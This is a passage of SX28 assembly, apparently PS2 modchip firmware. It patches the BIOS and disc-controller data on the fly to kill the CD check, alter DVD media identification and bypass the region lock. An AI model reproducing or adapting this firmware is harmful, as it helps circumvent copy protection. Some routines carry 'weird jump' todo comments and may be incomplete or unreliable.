VAR_DC3,w retw $a4 retw $ec mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#$3d mov VAR_DC3,w retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 mov w,#$b mov VAR_DC1,w mov w,#$49 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$f4 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp Label_0029 snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27 mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp Label_0053 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 ;; call bios wait oe worked here seemed nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp Label_0039 ;;todo weird jump Label_0039 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp Label_0039 ;;todo weird jump Label_0039 ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 COMPLETELY DIFFERENT ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;;todo ;-------------------------------------------------------------------------------- NOTCALLED6 jmp pc+w retw $8 retw $10 retw $3c retw $72 retw $0 Label_0189 retw $11 retw $36 retw $0 retw $0 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $4 Label_0190 retw $3c retw $f0 retw $1 retw $84 retw $34 retw $10 retw $0 Label_0191 retw $6 retw $3c retw $e4 Label_0192 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $fb retw $1 retw $10 retw $0 retw $b retw $2 retw $10 retw $0 retw $19 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f PS2LOGO_PATCH_11_17_JMP1 retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 Label_0194 retw $3a retw $2f Label_0195 retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 Label_0196 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$77 mov VAR_DC1,w clr w mov VAR_DC3,w PS2LOGO_PATCH_19_20_JMP2 mov w,#$20 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 Label_0198 jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 Label_0029 page $0000 call SET_INTRPT Label_0053 mov w,#$64 mov VAR_DC4,w Label_0036 mov w,#$ff mov VAR_DC3,w Label_0035 mov w,#$ff mov VAR_DC2,w Label_0034 mov w,#$ff mov VAR_DC1,w Label_0032 sb IO_BIOS_CS jmp Label_0030 decsz VAR_DC1 jmp Label_0032 decsz VAR_DC2 jmp Label_0034 decsz VAR_DC3 jmp Label_0035 decsz VAR_DC4 jmp Label_0036 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP Label_0031 snb IO_BIOS_CS jmp Label_0032 Label_0030 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp Label_0031 call BIOS_WAIT_OE_LO_P6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp Label_0031 call BIOS_WAIT_OE_LO_P6 mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp Label_0031 Label_0184 snb IO_BIOS_OE jmp Label_0184 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0185 sb IO_BIOS_OE jmp Label_0185 Label_0186 snb IO_BIOS_OE jmp Label_0186 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0187 sb IO_BIOS_OE jmp Label_0187 Label_0188 snb IO_BIOS_OE jmp Label_0188 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w jmp Label_0053 org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED5 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp Label_0189 ;; weird jmp Label_0189 call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp Label_0189 call BIOS_WAIT_OE_LO_P6 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp Label_0189 snb IO_BIOS_OE jmp Label_0190 ;; weird jmp Label_0190 ;psx1drv_l0a ;PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp Label_0190 ;PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp Label_0191 mov !IO_BIOS_DATA,w snb IO_BIOS_OE jmp Label_0192 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr decsz VAR_DC4 jmp BIOS_PATCH_DEV1 ;; different jmp, likely due to page and patch routine to call ?? ;LOGO PS1_CONSOLE_ALL_JMPNTSC clr fsr mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp 